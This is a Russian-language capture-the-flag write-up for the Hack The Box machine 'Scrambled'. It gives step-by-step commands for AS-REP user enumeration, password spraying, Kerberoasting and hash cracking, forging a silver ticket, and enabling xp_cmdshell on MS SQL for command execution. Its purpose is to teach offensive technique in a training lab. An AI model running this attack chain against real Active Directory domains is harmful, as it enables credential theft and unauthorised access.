Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В сегодняшнем райтапе я покажу, как атака ASREPRoast позволяет получить тикет для службы MS SQL. Данные из базы помогут нам в продвижении, а для повышения привилегий заюзаем уязвимость при использовании сериализации.
Наша цель — захват тренировочной машины Scrambled с площадки Hack The Box.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts, чтобы к ней было удобнее обращаться:
10.10.11.168 scrambled.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта
Нашлось много открытых портов, что типично для Windows:
Все перечисленные службы Microsoft пока что ничего нам дать не могут, поэтому первым делом смотрим сайт.

Страница IT Services
Сразу отмечаем полезную информацию: аутентификация NTLM отключена.
На одной из страниц находим скриншот консоли, а в нем видно пользователя ksimpson. Это очень важная информация!

Страница Reports
На другой странице отмечаем инструкцию к ПО, работающему на порте 4411. Здесь обратим внимание на имя сервера и домен — dc1.scrm.local. Соответствующие записи добавляем в файл /etc/hosts.
10.10.11.168 scrambled.htb dc1.scrm.local scrm.local

Страница IT Services
А также находим информацию о том, что имя пользователя может выступить в качестве пароля.

Информация о сбросе пароля
Мы можем отправить запрос ASREP, существует ли тот или иной аккаунт. Есть возможность запросить ключ (AS key) Kerberos этого пользователя, ключ будет зашифрован с помощью его пароля. Но дело в том, что сервер различает ответы «данный флаг не установлен» и «учетная запись не существует». А значит, если пройдемся по именам пользователей и для какого‑то нам ответят, что флаг не установлен, мы узнаем, что эта учетка существует. Сделать такой перебор можно с помощью инструмента GetNPUsers из пакета impacket. Имя пользователя у нас уже есть.
GetNPUsers.py scrm.local/ksimpson -no-pass

Проверка существования пользователя
Нам ответили, что флаг не установлен, а значит, учетная запись существует. Теперь с помощью kerbrute проверим пароль пользователя.
kerbrute_linux_amd64 passwordspray -d scrm.local --dc dc1.scrm.local users.txt ksimpson

Проверка пароля пользователя
Учетные данные оказались верны, поэтому мы можем запросить тикет пользователя и применить его как аутентификатор, вместо пароля. В этом нам поможет скрипт getTGT из того же impacket.
impacket-getTGT scrm.local/ksimpson:ksimpson

Получение тикета пользователя ksimpson
Экспортируем полученный тикет и подключаемся к службе SMB. Чтобы удалось аутентифицироваться, время на твоем хосте и на сервере должно отличаться не больше чем на пять минут. Поэтому стоит обновить локальное время по протоколу NTP.
sudo ntpdate scrm.local
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient -k scrm.local/[email protected] -no-pass

Подключение к ресурсу SMB
Командой shares получаем список ресурсов.
Пройдясь по каталогам, успешно заходим в Public.
use Pablic

SMB-ресурс Public
Там находим всего один документ. Скачиваем его командой get <file>. В самом документе рассказано о недавнем взломе службы MS SQL.

Содержимое загруженного документа
Раз мы имеем дело с MS SQL, значит, можем выполнить атаку Kerberoasting. Ее цель — собрать билеты TGS для служб, которые запускаются от имени пользователей, а не от системных учеток. Тикеты TGS зашифрованы ключами, полученными из паролей пользователей, а значит, их данные можно взломать простым перебором. Уязвимые учетные записи определим по полю SPN, которое не будет пустым. Выполним запрос TGS с помощью скрипта GetUserSPNs из все того же impacket.
GetUserSPNs.py scrm.local/ksimpson -dc-ip dc1.scrm.local -dc-host dc1.scrm.local -request -k -no-pass

Получение тикета учетной записи службы MS SQL
Теперь сохраним тикет в файл и отдадим JTR для перебора. Пароль учетной записи получим очень быстро.
john sqlsvc.hash --wordlist=rockyou.txt

Пароль учетной записи
Мы получили пароль службы, и, чтобы с ней работать, следующим шагом должно быть получение «серебряного билета». Silver ticket — это реальный билет TGS для определенной службы, в котором используется NTLM пользователя. Он даст нам доступ к этой службе. Чтобы сгенерировать такой билет, нам нужно знать NTLM-хеш пароля и SID домена. SID домена получим из отладочной информации при выполнении impacket-secretsdump.
impacket-secretsdump -k scrm.local/[email protected] -no-pass -debug

SID домена
А хеш генерируем на сайте md5decrypt.net из полученного пароля.

NTLM-хеш пароля
А теперь генерируем билет.
ticketer.py -domain scrm.local -spn MSSQLSVC/dc1.scrm.local -user-id 500 Administrator -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200

Создание серебряного билета
Экспортируем созданный билет в рабочее окружение и подключаемся к службе MS SQL, используя аутентификацию Kerberos.
export KRB5CCNAME=Administrator.ccache
mssqlclient.py dc1.scrm.local -k -no-passSELECT name FROM master.dbo.sysdatabases

Существующие базы данных
Перейдем к базе данных ScrambleHR и получим из нее таблицы.
use ScrambleHRSELECT name FROM SYSOBJECTS WHERE xtype = 'U'

Таблицы в базе ScrambleHR
Нас интересует таблица пользователей UserImport. Получаем все ее записи.
select * from UserImport

Данные в таблице UserImport
С найденными учетными данными подключиться никуда не удастся, поэтому попробуем получить управление через MS SQL. Первым делом нужно активировать xp_cmdshell. Из нашего интерпретатора это можно сделать встроенной командой enable_xp_cmdshell, после чего выполняем реконфигурацию.
enable_xp_cmdshellreconfigure

Включение xp_cmdshell
Теперь мы можем выполнять команды через xp_cmdshell.

Получение командной оболочки
Источник: xakep.ru